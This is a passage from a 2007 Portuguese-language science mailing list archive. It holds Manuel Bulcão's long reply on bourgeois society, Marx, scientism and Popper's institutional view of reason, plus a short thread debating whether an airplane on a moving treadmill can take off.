parênteses, colchetes, chaves, aspas simples, aspas duplas etc. -
tudo isso com o implícito intuito não só de compensar a falta do que
dizer com música verbal, de preferência com ares dodecafônicos
(transfigurando, assim, a cacofonia sem sentido em nonsense
sinfônico), como também de cansar o outro debatedor, desencorajá-lo
da leitura e, principalmente, desestimulá-lo a responder. Não, não e
não. Meu texto é grande, porém claro e informativo. É só conferir.
Mãos, ou melhor, olhos à obra!)

Olá Takata e demais,

Manuel escrevera: Da burguesia que surgiu quando as relações
mercantis se generalizaram ao ponto de penetrarem na esfera da
produção, instituindo, assim, no lugar da escravidão, o mercado da
força-de-trabalho (em que o trabalhador, antes uma rês, é posto na
condição de sujeito econômico).

Takata: Da burguesia q produziu a primeira revolução industrial em q
crianças trabalhavam em turnos de 14 horas ou mais... Cujos salários
familiares mal davam para alimentá-los...

Manuel:

1. Esse quadro que você cita começou a se modificar quando as "trade-
unions" passaram a mediar a venda da força-de-trabalho. Ora, se nas
vezes em que há supersafras os fazendeiros, para manter o preço num
nível que pelo menos cubra o custo, destroem parte significativa da
produção, os trabalhadores, de modo análogo, para aumentar seu poder
de barganha num mercado fortemente oligopsônico, como era o da força-
de-trabalho na Inglaterra, organizam-se em sindicatos, criam fundos
previdenciários e de greve e só assinam o contrato de trabalho sob
determinadas condições.

Interessante observar que essa superexploração da classe trabalhadora
não se repetiu nos processos de industrialização dos países em que
era vigente o princípio da livre territorialidade, como os EUA,
Canadá, Austrália e Nova Zelândia. Nesses países, o trabalhador podia
escolher entre trabalhar na fábrica ou receber do Estado títulos de
propriedade de terras virgens nas fronteiras, onde viveriam como
pequenos agricultores autônomos.

2. Outra coisa: estou percebendo que estamos abordando um mesmo
fenômeno (as relações mercantis), porém em níveis diferentes de
abstração. Minha análise é mais teórica e parte de "tipos ideais"
("tipo ideal" é uma categoria sociológica inventada por Max Weber),
ao passo que a sua é historiográfica e fundamentada no bom senso
empírico. Ressalve-se que uma não exclui a outra, ao contrário, elas
se complementam. Mas há quem não pense assim: os teoricistas de um
lado - que perdem o senso de realidade ao tentar reduzir esta a seus
esquemas abstratos - e os empiristas "duros" do outro – que perdem a
razão e o discernimento do essencial por se contentarem com o mero
relato fenomenológico.

Os "tipos ideais", como a expressão sugere, não existem realmente;
entretanto, ajudam-nos sobremaneira a entender a realidade. Karl
Marx, por exemplo, elaborou certas categorias abstratas ("modo de
produção" capitalista, feudal etc.) com o fim de melhor analisar
situações concretas (as diversas "formações econômico-sociais"
capitalistas, feudais...) - "do sensível às determinações abstratas
e, destas, ao concreto pensado": foi assim que Marx definiu seu
método.

Ok, as principais premissas do materialismo histórico foram
refutadas; apesar disso, os conceitos criados por Marx permanecem
válidos como instrumentos de análise - foram e ainda são utilizados
por muitos cientistas sociais não-marxistas, como Norberto Bobbio, e
até por liberais, caso de Raymond Aron e, antes dele, pelo grão-
mestre do liberalismo italiano Benedetto Croce.

Marx também foi crítico incisivo da superexploração a qual estava
submetida o proletariado inglês. Entretanto, não deixou de reconhecer
que o modelo liberal-democrático de Estado - que ele
considerava "superior" a todas as outras formas anteriores de Estado -
e os valores que lhe dão suporte - a igualdade formal, a liberdade
de contratar e o princípio segundo o qual "a cada um conforme o seu
trabalho" (a base da justiça "burguesa", segundo Lênin, e oposta a da
aristocracia, fundada na força e na hereditariedade) - são reflexos e
produtos da práxis não só da burguesia industrial como também do
operariado enquanto "mercador" da sua própria mão-de-obra. A
propósito, vale lembrar que a luta do proletariado pelo sufrágio
universal, pelo direito de se sindicalizar e por salários "justos"
teve como estandartes esses valores "burgueses" que são
prerrequisitos do contrato mercantil, repetindo: a igualdade formal,
a liberdade de associação e a garantia do salário mínimo, isto é, de
receber como contraprestação, no mínimo, o equivalente do trabalho
investido.

3. Sabe-se que os homens estabelecem entre si relações de cuidado, de
poder, de cooperação e de troca. Essas relações raramente se dão em
forma pura: a regra é elas se entrecruzarem de várias maneiras, não
arbitrariamente, mas compondo uma estrutura (no mercantilismo, as
relações de troca mercantil acham-se subordinadas às relações de
poder, comprometidas com o fortalecimento do Estado absolutista) e o
modo como se combinam afeta o "volksgeist", o qual, por sua vez,
funciona como argamassa social.

Para melhor entender esses complexos, é de grande utilidade
investigar antes e isoladamente esses tipos de relação, seus agentes,
as regras que os presidem, suas mediações e a intersubjetividade que
cada um deles determina. Para tanto, considera-se certos modelos
sociais simplificados e quase puros, como a família, o bando, a
comuna e a feira. De posse desse conhecimento, podemos então passar
do relato fenomenológico à compreensão ("compreender" - Verstehen -
de acordo com a propedêutica das ciências sociais,
significa "perceber ou alcançar as intenções do sujeito", "captar o
sentido subjetivo do comportamento humano") da vida nas formações
sociais concretas em que certo tipo de relações predomina sobre as
outras, conformando-as e sendo por elas influenciadas.

Takata: Mas voltando à questão da produtividade científica. A
autonomia individual não se configura como um pré-requisito: pode
existir produtividade científica significativa com ou sem ela.
Embora, reforçando, não esteja eu com isso a dizer q a autonomia
individual não seja um valor a ser defendido - apenas q a
produtividade científica é alheia a isso.

Manuel: Louvável a sua atitude precavida de não puxar a brasa para a
sua sardinha (afinal, você é biólogo, um cientista que brilha hoje e
brilhará muito mais no futuro, estou certo disso e por isso tenho
orgulho de conhecê-lo).

De fato, os ideólogos da burguesia, ao idealizarem o contrato
mercantil, transformando-o em modelo por excelência para a sociedade
como um todo – no passado, John Locke; atualmente, os adeptos
da "libertária" de direita e apologista do capitalismo "quimicamente
puro" Ayn Rand -, incorreram e incorrem no reducionismo vulgar, isto
é, reduzem o homem a mera condição de mercadores voluntários e
solitários de seus produtos e faculdades (semana passada, assisti a
um episódio de Os Simpsons em que a filha caçula é internada na
creche Ayn Rand, hilariante!); além do que, como conseqüência dessa
idealização, alimentam ilusões perigosas, como a crendice na
capacidade auto-reguladora do mercado.

Também é fato que no corpo da ciência surgiu o cancro do
cientificismo, o qual, atribuindo caráter onipenetrante ao método
científico-experimental, inclusive para conhecer o Bem objetivo, o
fim último da vida e da História, deu ensejo a regimes totalitários,
o nazismo e o bolchevismo, que se auto-intitulavam "expressão
política do conhecimento científico" (era corrente e assente, entre
médicos e cientistas alemães, a afirmação de que "o nacional-
socialismo é biologia aplicada"; e, na extinta URSS, o Partido
Comunista era tido como um artefato tecnológico da engenharia social
forjado pela ciência da História).

Diga-se, a propósito, que o cientificismo inclina-se para o
totalitarismo porque parte do pressuposto de que a Verdade é
plenamente cognoscível, identifica-se com o Bem e é una. Ora, a
própria ciência - principalmente a astronomia, a física quântica e o
estudo interdisciplinar dos sistemas dinâmicos complexos – reconhece
hoje a existência de fronteiras do conhecimento. Um exemplo: os
astrônomos concordam que, estando o universo em expansão acelerada,
galáxias muito distantes afastam-se da Via-Láctea com rapidez maior
que a velocidade da luz, de modo que nenhum sinal que parta delas
pode alcançar, um dia, os observadores terráqueos. Isso implica que o
universo "observável" possui fronteiras absolutas. Quanto à bondade
da verdade científica, não há dúvidas que ela é boa sempre que é útil
para forjar artefatos tecnológicos que tornem a existência humana
menos penosa. Também o conhecimento científico de que a Terra está se
aquecendo e que, em médio prazo, pode tornar-se inóspita aos seres
humanos, tal verdade é boa; pois, se a ignorássemos, não iríamos nos
precaver, pensar em meios de evitar o aquecimento global ou, caso já
seja irreversível, pelo menos tentar atrasá-lo de modo que tenhamos
tempo para nos adaptar às novas circunstâncias. Tudo isso não quer
dizer, porém, que a verdade descortinada pelo método científico seja
sempre reconfortante e complacente com nossos desejos; ao contrário,
infelizmente, no mais das vezes não é. De resto, mesmo que a Verdade
seja objetiva e una, não é ela necessariamente simétrica, isto é,
pode apresentar vários aspectos dependendo do ponto de vista. Além
disso, o conhecimento da Verdade é, por princípio, grosseiramente
granuloso, fadado a ser sempre uma aproximação; e o processo sempre
inacabado do conhecimento consiste (e isso é importante frisar) numa
atividade que avança por meio de tentativas e "erros", ou seja, o
erro é inevitável em qualquer etapa do processo cognoscitivo, e
alguns deles, como comentarei mais a frente, são mesmo fecundos. Por
isso, fiquei assombrado e muito decepcionado – por eu ser de
esquerda - ao ler a seguinte frase de Simone de Beauvoir (palavras de
bruxa na voz de uma musa e que acusam ressaibos cientificistas no
existencialismo esquerdista de Jean-Paul Sartre): "A verdade é uma, o
erro é múltiplo. Não é por acaso que a direita professa o pluralismo"
(La Pensée de droite aujourd'hui; Les Temps Modernes, 1955; p.
1539).

Sim, por todas essas razões é preciso ter cautela, precaução, não
idealizar o mercado, a cooperação e a ciência além conta, não
supervalorizar o tipo a ponto de desconsiderar as idiossincrasias das
manifestações concretas. Todavia, discordo de você quando afirma que
a produtividade científica é alheia a autonomia individual. Não
concordo porque, como salientou Richard Feynman, desde os pré-
socráticos materialistas jônicos a comunidade científica se empenha
na luta contra os estamentos sacerdotais e os Estados teocráticos ou
confessionais pelo "direito de duvidar". Textualmente: "Esta
liberdade de duvidar é uma questão importante em ciência e, creio,
também noutros campos. Nasceu de uma luta. Foi uma luta ser permitido
duvidar, não ter certezas. Não queria que esquecêssemos a importância
dessa luta e, como conseqüência, que a abandonássemos. Sinto uma
grande responsabilidade enquanto cientista que sabe do grande valor
de uma filosofia da ignorância e do progresso que essa filosofia
tornou possível, progresso esse que é fruto da liberdade de
pensamento". (extraído do livro "O Significado de Tudo"; Ed. Gradiva;
coleção Ciência Aberta).

Outra razão por que discordo é que, como Popper, sustento que a razão
não é apenas uma faculdade individual, mas também uma instituição em
que as asserções e julgamentos do indivíduo X são sujeitos a testes
por seus pares e submetidos à discussão livre, porém regrada. Quais
são essas regras de dever-ser epistemológicas? Entre outras, o dever
de considerar com deferência - e não com desdém, deboche ou cinismo -
a opinião adversa (o que não é senão o reconhecimento do outro
como "igual"), pois, por mais dissentânea e aparentemente esdrúxula,
há a possibilidade dela se revelar correta ou então de ser um
desses "erros fecundos", úteis na medida em que se assentam em
lacunas antes não percebidas no conhecimento "n" vezes corroborado.
Outro princípio importante é o respeito à "liberdade" de cada um de
questionar quem quer que seja com base na lógica e nos dados
empíricos.

A razão como faculdade individual, quando exercitada solitariamente,
pode gerar grandes "insights" e descobertas fantásticas. No entanto,
esta condição de isolamento – a ausência de qualquer pessoa cutucando
do lado de fora - fortalece a tendência de o pensamento racional
dobrar-se ao "peso das motivações afetivas e emocionais" (Contardo
Calligaris); de a razão se transformar em mecanismo de defesa
psicológica (racionalização) e instrumento do "viés de confirmação",
consubstanciado na procura, amiúde inconsciente, de hipóteses "ad
hoc" que sustentem seu ponto de vista inicial, busca esta motivada
pelo orgulho (não querer dar o braço a torcer) e/ou pelo prazer
narcísico de saber que está do lado da verdade.

Pelo motivo acima exposto, Popper insistiu na tese do caráter
institucional da Razão: que, somente como empreendimento coletivo -
e, por isso, orientado por uma moral de convivência - a Razão pode
escapar das arapucas subjetivistas e alcançar a objetividade possível.

No seu livro "A Sociedade Aberta e Seus Inimigos", Popper também
defende, a meu ver corretamente, que o racionalismo é ele próprio uma
escolha moral. Com efeito, se não se pode persuadir um solipsista –
i.e., um subjetivista irracionalista -, seja por meio da lógica ou da
experiência, de que o outro existe como entidade autônoma,
independente e, portanto, real (se lhe chuto o traseiro, o solipsista
dirá que "sonhou que alguém lhe chutou o traseiro"), então a
submissão do pensamento à lógica e à experiência é conseqüência de
uma livre escolha. Essa escolha é moral porque, a partir dela, a
autonomia do outro - sua existência como sujeito independente - é
reconhecida. Demais, reconhecem-se os outros como pares, "alter
egos", igualdade estabelecida por uma faculdade comum: a Razão; por
uma metalinguagem (a lógica) que permite a comunicação entre
indivíduos das mais variadas culturas, o intercâmbio de idéias e a
busca mais do consenso do que da dissuasão pelas armas, por meio do
engodo tático, através da ameaça do inferno ou mediante o cultivo do
medo do Mistério.

Também concordo, "mutatis mutandis", com Lee Smolin. Este físico
teórico afirmou, numa entrevista à Folha de S. Paulo em 05/11/06,
que "a comunidade científica é um modelo para a sociedade
democrática, uma vez que, na primeira, exige-se que se proceda de boa-
fé, dentro de regras e com respeito aos que discordam de você".

Para concluir, cito o seguinte texto de minha autoria:

"(...) embora a Ciência não nos possa fornecer, através do seu
método, um sistema ético inequívoco e verdadeiro, não se pode,
todavia, produzir conhecimento científico se não se parte de um
determinado princípio ético. Segundo Jacques Monod, `o conhecimento
verdadeiro ignora os valores. Para fundá-lo, porém, é preciso um
juízo ou, antes, um axioma de valor' (O Acaso e a Necessidade; Ed.
Vozes; Petrópolis - RJ; 1989; p. 194. Qual é esse `valor primitivo
que funda o conhecimento'? Para Monod, trata-se do compromisso com a
objetividade, ou, nas palavras de I. Prigogine, `o respeito à
natureza': a noção de que, se quisermos transformar a realidade de
modo a fazê-la atender às nossas necessidades, `devemos' obedecer às
suas leis que são independentes dos nossos desejos e vontade
(i.e., `objetivas'). Ora, a rejeição desse `mal' que é o
subjetivismo - para o qual o mundo não passa de propriedade do
Sujeito - é o primeiro e necessário passo para a aceitação do outro
como diferente; isto é, para que consideremos qualquer outro
indivíduo, seja próximo ou distante, como `alter ego' e não como
reflexo de Narciso ou reles instrumento de nossos interesses
personalíssimos."

"Vale dizer que sobre o postulado da objetividade ergue-se não só a
Ciência, mas também um novo humanismo - humanismo que não é
antropocentrismo ou narcisismo da espécie, pois, como salientou
brilhantemente C. Lévi-Strauss, `um humanismo adequadamente ordenado
não pode começar espontaneamente, mas deve colocar o mundo antes da
vida, a vida antes do homem e o respeito pelos outros antes do
egoísmo'. (Mythologiques III: L'Origine des Maniéres de Table;
1968)." - Manuel Soares Bulcão Neto; Sombras do Iluminismo; 7Letras;
Rio de Janeiro; 2006; pp. 167/168.

Abraços,
Manuel Bulcão
PS: Acho que estou esquecendo de dizer alguma coisa...



SUBJECT: Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/02/2007 19:52

--- Em ciencialist@yahoogrupos.com.br, Nando <nando.str@...> escreveu
> Um avião está estacionado em uma pista móvel (como se fosse uma
> esteira rolante). O avião se move em um sentido, e a esteira no
> sentido oposto. A esteira tem um sistema de controle que acompanha a
> velocidade do avião e faz com que a esteira tenha exatamente a mesma
> velocidade, no sentido oposto. A pergunta é: o avião vai conseguir
> decolar?

Para o avião decolar é preciso criar uma força de sustentação. Isso se
obtém pela ação diferencial da interação do ar na superfície superior
e inferior da aeronave e, em particular, da asa.

Para tto deve ocorrer um movimento relativo do avião em relação ao ar.
Nas condições especificadas no problema, isso não ocorre. Portanto o
avião não deve decolar.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] avião em esteira
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/02/2007 20:01

Creio que não Murilo.

O importante é a velocidade do vento em relação às asas (simplificando, é
claro). Com um vento realmente forte, na direção certa, uma avião poderia
decolar parado, como em um túnel de vento. A esteira não tem efeito nenhum
neste caso. A velocidade do avião em relação a um ponto da esteira esteira
não tem qualquer influência sobre a velocidade do vento nas asas.

No porta aviões é a mesma coisa. Mas, normalmente, o avião é catapultado,
mantendo o mesmo preso, enquanto um grande empuxo é gerado pela turbina. A
única diferença é que ele atinge a velocidade necessária muito rápido, mas
tem grande velocidade no momento da decolagem.

> Não sei se isso é bom ou não, mas no 1º link tem vários carinhas
> (graduandos em engenharias na USP e outras universidades de 'nome')
> discordando entre si, então...

Não consigo acreditar nisso. Mas, sabe lá...

Grande abraço,

Ricardo


----- Original Message -----
From: "murilo filo" <avalanchedrive@hotmail.com>
To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, February 25, 2007 7:42 PM
Subject: RE: [ciencialist] avião em esteira


> Nando, oi.
> Não vejo pq não.
> Isso é muito parecido com o que acontece nos porta-aviões, só que bem mais
> difícil de ser executado. abr/M.
>
>
>>From: Nando <nando.str@gmail.com>
>>Reply-To: ciencialist@yahoogrupos.com.br
>>To: ciencialist@yahoogrupos.com.br
>>Subject: [ciencialist] avião em esteira
>>Date: Sun, 25 Feb 2007 18:44:27 -0300
>>
>>Com certeza já deve ter sido discutido aqui...
>>
>>Um avião está estacionado em uma pista móvel (como se fosse uma esteira
>>rolante). O avião se move em um sentido, e a esteira no sentido oposto.
>>A esteira tem um sistema de controle que acompanha a velocidade do avião
>>e faz com que a esteira tenha exatamente a mesma velocidade, no sentido
>>oposto. A pergunta é: o avião vai conseguir decolar?
>>http://forum.hardmob.com.br/showthread.php?t=289348
>>
>>
>>Outras discussões sobre o mesmo assunto:
>>http://www.kottke.org/06/02/plane-conveyor-belt
>>http://www.boingboing.net/2006/12/11/airplanetreadmill_pr.html
>>
>>Eu, aaaaaaaaacho que o avião decola... alguém discorda?
>>
>>Não sei se isso é bom ou não, mas no 1º link tem vários carinhas
>>(graduandos em engenharias na USP e outras universidades de 'nome')
>>discordando entre si, então...
>>
>>
>>##### ##### #####
>>
>>Página de apoio
>>http://www.ciencialist.com
>>
>>
>>##### ##### ##### #####
>>Links do Yahoo! Grupos
>>
>>
>
>
>
>
> ##### ##### #####
>
> Página de apoio
> http://www.ciencialist.com
>
>
> ##### ##### ##### #####
> Links do Yahoo! Grupos
>
>
>




SUBJECT: Re: A universalização dos valores morais
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/02/2007 21:02

(Como essa minha resposta é longa, vou dividi-la em capítulos. Mas
não pensem que estou me valendo da velha falácia "apelo à
tagarelice", muito comum entre relativistas pós-modernos e que
consiste em escrever de forma copiosa e exuberante, recheando o texto
com citações, referências bibliográficas, brocardos latinos,
gigantescas expressões alemãs, palavras do português arcaico,
adjetivos aos borbotões, neologismos, onomatopoeses, pleonasmos,
epigramas, circunlocuções, proposições indecidíveis, apotegmas
oraculares, aforismas "esfinge" (do tipo "decifra-me ou não te deixo
dormir à noite"), perguntas retóricas, respostas tangenciais,
arabescos anedóticos, longas sentenças camonianas (para serem lidas
de trás pra frente ou refletidas no espelho), digressões e quejandos
e muitas, muitas, muitas vírgulas, ponto-e-vírgulas, travessões,
parênteses, colchetes, chaves, aspas simples, aspas duplas etc. -
tudo isso com o implícito intuito não só de compensar a falta do que
dizer com música verbal, de preferência com ares dodecafônicos
(transfigurando, assim, a cacofonia sem sentido em nonsense
sinfônico), como também de cansar o outro debatedor, desencorajá-lo
da leitura e, principalmente, desestimulá-lo a responder. Não, não e
não. Meu texto é grande, porém claro e informativo. É só conferir.
Mãos, ou melhor, olhos à obra!)

Olá Takata e demais,

Manuel escrevera: Da burguesia que surgiu quando as relações
mercantis se generalizaram ao ponto de penetrarem na esfera da
produção, instituindo, assim, no lugar da escravidão, o mercado da
força-de-trabalho (em que o trabalhador, antes uma rês, é posto na
condição de sujeito econômico).

Takata: Da burguesia q produziu a primeira revolução industrial em q
crianças trabalhavam em turnos de 14 horas ou mais... Cujos salários
familiares mal davam para alimentá-los...

Manuel:

1. Esse quadro que você cita começou a se modificar quando as "trade-
unions" passaram a mediar a venda da força-de-trabalho. Ora, se nas
vezes em que há supersafras os fazendeiros, para manter o preço num
nível que pelo menos cubra o custo, destroem parte significativa da
produção, os trabalhadores, de modo análogo, para aumentar seu poder
de barganha num mercado fortemente oligopsônico, como era o da força-
de-trabalho na Inglaterra, organizam-se em sindicatos, criam fundos
previdenciários e de greve e só assinam o contrato de trabalho sob
determinadas condições.

Interessante observar que essa superexploração da classe trabalhadora
não se repetiu nos processos de industrialização dos países em que
era vigente o princípio da livre territorialidade, como os EUA,
Canadá, Austrália e Nova Zelândia. Nesses países, o trabalhador podia
escolher entre trabalhar na fábrica ou receber do Estado títulos de
propriedade de terras virgens nas fronteiras, onde viveriam como
pequenos agricultores autônomos.

2. Outra coisa: estou percebendo que estamos abordando um mesmo
fenômeno (as relações mercantis), porém em níveis diferentes de
abstração. Minha análise é mais teórica e parte de "tipos ideais"
("tipo ideal" é uma categoria sociológica inventada por Max Weber),
ao passo que a sua é historiográfica e fundamentada no bom senso
empírico. Ressalve-se que uma não exclui a outra, ao contrário, elas
se complementam. Mas há quem não pense assim: os teoricistas de um
lado - que perdem o senso de realidade ao tentar reduzir esta a seus
esquemas abstratos - e os empiristas "duros" do outro – que perdem a
razão e o discernimento do essencial por se contentarem com o mero
relato fenomenológico.

Os "tipos ideais", como a expressão sugere, não existem realmente;
entretanto, ajudam-nos sobremaneira a entender a realidade. Karl
Marx, por exemplo, elaborou certas categorias abstratas ("modo de
produção" capitalista, feudal etc.) com o fim de melhor analisar
situações concretas (as diversas "formações econômico-sociais"
capitalistas, feudais...) - "do sensível às determinações abstratas
e, destas, ao concreto pensado": foi assim que Marx definiu seu
método.

Ok, as principais premissas do materialismo histórico foram
refutadas; apesar disso, os conceitos criados por Marx permanecem
válidos como instrumentos de análise - foram e ainda são utilizados
por muitos cientistas sociais não-marxistas, como Norberto Bobbio, e
até por liberais, caso de Raymond Aron e, antes dele, pelo grão-
mestre do liberalismo italiano Benedetto Croce.

Marx também foi crítico incisivo da superexploração a qual estava
submetida o proletariado inglês. Entretanto, não deixou de reconhecer
que o modelo liberal-democrático de Estado - que ele
considerava "superior" a todas as outras formas anteriores de Estado -
e os valores que lhe dão suporte - a igualdade formal, a liberdade
de contratar e o princípio segundo o qual "a cada um conforme o seu
trabalho" (a base da justiça "burguesa", segundo Lênin, e oposta a da
aristocracia, fundada na força e na hereditariedade) - são reflexos e
produtos da práxis não só da burguesia industrial como também do
operariado enquanto "mercador" da sua própria mão-de-obra. A
propósito, vale lembrar que a luta do proletariado pelo sufrágio
universal, pelo direito de se sindicalizar e por salários "justos"
teve como estandartes esses valores "burgueses" que são
prerrequisitos do contrato mercantil, repetindo: a igualdade formal,
a liberdade de associação e a garantia do salário mínimo, isto é, de
receber como contraprestação, no mínimo, o equivalente do trabalho
investido.

3. Sabe-se que os homens estabelecem entre si relações de cuidado, de
poder, de cooperação e de troca. Essas relações raramente se dão em
forma pura: a regra é elas se entrecruzarem de várias maneiras, não
arbitrariamente, mas compondo uma estrutura (no mercantilismo, as
relações de troca mercantil acham-se subordinadas às relações de
poder, comprometidas com o fortalecimento do Estado absolutista) e o
modo como se combinam afeta o "volksgeist", o qual, por sua vez,
funciona como argamassa social.

Para melhor entender esses complexos, é de grande utilidade
investigar antes e isoladamente esses tipos de relação, seus agentes,
as regras que os presidem, suas mediações e a intersubjetividade que
cada um deles determina. Para tanto, considera-se certos modelos
sociais simplificados e quase puros, como a família, o bando, a
comuna e a feira. De posse desse conhecimento, podemos então passar
do relato fenomenológico à compreensão ("compreender" - Verstehen -
de acordo com a propedêutica das ciências sociais,
significa "perceber ou alcançar as intenções do sujeito", "captar o
sentido subjetivo do comportamento humano") da vida nas formações
sociais concretas em que certo tipo de relações predomina sobre as
outras, conformando-as e sendo por elas influenciadas.

Takata: Mas voltando à questão da produtividade científica. A
autonomia individual não se configura como um pré-requisito: pode
existir produtividade científica significativa com ou sem ela.
Embora, reforçando, não esteja eu com isso a dizer q a autonomia
individual não seja um valor a ser defendido - apenas q a
produtividade científica é alheia a isso.

Manuel: Louvável a sua atitude precavida de não puxar a brasa para a
sua sardinha (afinal, você é biólogo, um cientista que brilha hoje e
brilhará muito mais no futuro, estou certo disso e por isso tenho
orgulho de conhecê-lo).

De fato, os ideólogos da burguesia, ao idealizarem o contrato
mercantil, transformando-o em modelo por excelência para a sociedade
como um todo – no passado, John Locke; atualmente, os adeptos
da "libertária" de direita e apologista do capitalismo "quimicamente
puro" Ayn Rand -, incorreram e incorrem no reducionismo vulgar, isto
é, reduzem o homem a mera condição de mercadores voluntários e
solitários de seus produtos e faculdades (semana passada, assisti a
um episódio de Os Simpsons em que a filha caçula é internada na
creche Ayn Rand, hilariante!); além do que, como conseqüência dessa
idealização, alimentam ilusões perigosas, como a crendice na
capacidade auto-reguladora do mercado.

Também é fato que no corpo da ciência surgiu o cancro do
cientificismo, o qual, atribuindo caráter onipenetrante ao método
científico-experimental, inclusive para conhecer o Bem objetivo, o
fim último da vida e da História, deu ensejo a regimes totalitários,
o nazismo e o bolchevismo, que se auto-intitulavam "expressão
política do conhecimento científico" (era corrente e assente, entre
médicos e cientistas alemães, a afirmação de que "o nacional-
socialismo é biologia aplicada"; e, na extinta URSS, o Partido
Comunista era tido como um artefato tecnológico da engenharia social
forjado pela ciência da História).

Diga-se, a propósito, que o cientificismo inclina-se para o
totalitarismo porque parte do pressuposto de que a Verdade é
plenamente cognoscível, identifica-se com o Bem e é una. Ora, a
própria ciência - principalmente a astronomia, a física quântica e o
estudo interdisciplinar dos sistemas dinâmicos complexos – reconhece
hoje a existência de fronteiras do conhecimento. Um exemplo: os
astrônomos concordam que, estando o universo em expansão acelerada,
galáxias muito distantes afastam-se da Via-Láctea com rapidez maior
que a velocidade da luz, de modo que nenhum sinal que parta delas
pode alcançar, um dia, os observadores terráqueos. Isso implica que o
universo "observável" possui fronteiras absolutas. Quanto à bondade
da verdade científica, não há dúvidas que ela é boa sempre que é útil
para forjar artefatos tecnológicos que tornem a existência humana
menos penosa. Também o conhecimento científico de que a Terra está se
aquecendo e que, em médio prazo, pode tornar-se inóspita aos seres
humanos, tal verdade é boa; pois, se a ignorássemos, não iríamos nos
precaver, pensar em meios de evitar o aquecimento global ou, caso já
seja irreversível, pelo menos tentar atrasá-lo de modo que tenhamos
tempo para nos adaptar às novas circunstâncias. Tudo isso não quer
dizer, porém, que a verdade descortinada pelo método científico seja
sempre reconfortante e complacente com nossos desejos; ao contrário,
infelizmente, no mais das vezes não é. De resto, mesmo que a Verdade
seja objetiva e una, não é ela necessariamente simétrica, isto é,
pode apresentar vários aspectos dependendo do ponto de vista. Além
disso, o conhecimento da Verdade é, por princípio, grosseiramente
granuloso, fadado a ser sempre uma aproximação; e o processo sempre
inacabado do conhecimento consiste (e isso é importante frisar) numa
atividade que avança por meio de tentativas e "erros", ou seja, o
erro é inevitável em qualquer etapa do processo cognoscitivo, e
alguns deles, como comentarei mais a frente, são mesmo fecundos. Por
isso, fiquei assombrado e muito decepcionado – por eu ser de
esquerda - ao ler a seguinte frase de Simone de Beauvoir (palavras de
bruxa na voz de uma musa e que acusam ressaibos cientificistas no
existencialismo esquerdista de Jean-Paul Sartre): "A verdade é uma, o
erro é múltiplo. Não é por acaso que a direita professa o pluralismo"
(La Pensée de droite aujourd'hui; Les Temps Modernes, 1955; p.
1539).

Sim, por todas essas razões é preciso ter cautela, precaução, não
idealizar o mercado, a cooperação e a ciência além conta, não
supervalorizar o tipo a ponto de desconsiderar as idiossincrasias das
manifestações concretas. Todavia, discordo de você quando afirma que
a produtividade científica é alheia a autonomia individual. Não
concordo porque, como salientou Richard Feynman, desde os pré-
socráticos materialistas jônicos a comunidade científica se empenha
na luta contra os estamentos sacerdotais e os Estados teocráticos ou
confessionais pelo "direito de duvidar". Textualmente: "Esta
liberdade de duvidar é uma questão importante em ciência e, creio,
também noutros campos. Nasceu de uma luta. Foi uma luta ser permitido
duvidar, não ter certezas. Não queria que esquecêssemos a importância
dessa luta e, como conseqüência, que a abandonássemos. Sinto uma
grande responsabilidade enquanto cientista que sabe do grande valor
de uma filosofia da ignorância e do progresso que essa filosofia
tornou possível, progresso esse que é fruto da liberdade de
pensamento". (extraído do livro "O Significado de Tudo"; Ed. Gradiva;
coleção Ciência Aberta).

Outra razão por que discordo é que, como Popper, sustento que a razão
não é apenas uma faculdade individual, mas também uma instituição em
que as asserções e julgamentos do indivíduo X são sujeitos a testes
por seus pares e submetidos à discussão livre, porém regrada. Quais
são essas regras de dever-ser epistemológicas? Entre outras, o dever
de considerar com deferência - e não com desdém, deboche ou cinismo -
a opinião adversa (o que não é senão o reconhecimento do outro
como "igual"), pois, por mais dissentânea e aparentemente esdrúxula,
há a possibilidade dela se revelar correta ou então de ser um
desses "erros fecundos", úteis na medida em que se assentam em
lacunas antes não percebidas no conhecimento "n" vezes corroborado.
Outro princípio importante é o respeito à "liberdade" de cada um de
questionar quem quer que seja com base na lógica e nos dados
empíricos.

A razão como faculdade individual, quando exercitada solitariamente,
pode gerar grandes "insights" e descobertas fantásticas. No entanto,
esta condição de isolamento – a ausência de qualquer pessoa cutucando
do lado de fora - fortalece a tendência de o pensamento racional
dobrar-se ao "peso das motivações afetivas e emocionais" (Contardo
Calligaris); de a razão se transformar em mecanismo de defesa
psicológica (racionalização) e instrumento do "viés de confirmação",
consubstanciado na procura, amiúde inconsciente, de hipóteses "ad
hoc" que sustentem seu ponto de vista inicial, busca esta motivada
pelo orgulho (não querer dar o braço a torcer) e/ou pelo prazer
narcísico de saber que está do lado da verdade.

Pelo motivo acima exposto, Popper insistiu na tese do caráter
institucional da Razão: que, somente como empreendimento coletivo -
e, por isso, orientado por uma moral de convivência - a Razão pode
escapar das arapucas subjetivistas e alcançar a objetividade possível.

No seu livro "A Sociedade Aberta e Seus Inimigos", Popper também
defende, a meu ver corretamente, que o racionalismo é ele próprio uma
escolha moral. Com efeito, se não se pode persuadir um solipsista –
i.e., um subjetivista irracionalista -, seja por meio da lógica ou da
experiência, de que o outro existe como entidade autônoma,
independente e, portanto, real (se lhe chuto o traseiro, o solipsista
dirá que "sonhou que alguém lhe chutou o traseiro"), então a
submissão do pensamento à lógica e à experiência é conseqüência de
uma livre escolha. Essa escolha é moral porque, a partir dela, a
autonomia do outro - sua existência como sujeito independente - é
reconhecida. Demais, reconhecem-se os outros como pares, "alter
egos", igualdade estabelecida por uma faculdade comum: a Razão; por
uma metalinguagem (a lógica) que permite a comunicação entre
indivíduos das mais variadas culturas, o intercâmbio de idéias e a
busca mais do consenso do que da dissuasão pelas armas, por meio do
engodo tático, através da ameaça do inferno ou mediante o cultivo do
medo do Mistério.

Também concordo, "mutatis mutandis", com Lee Smolin. Este físico
teórico afirmou, numa entrevista à Folha de S. Paulo em 05/11/06,
que "a comunidade científica é um modelo para a sociedade
democrática, uma vez que, na primeira, exige-se que se proceda de boa-
fé, dentro de regras e com respeito aos que discordam de você".

Para concluir, cito o seguinte texto de minha autoria:

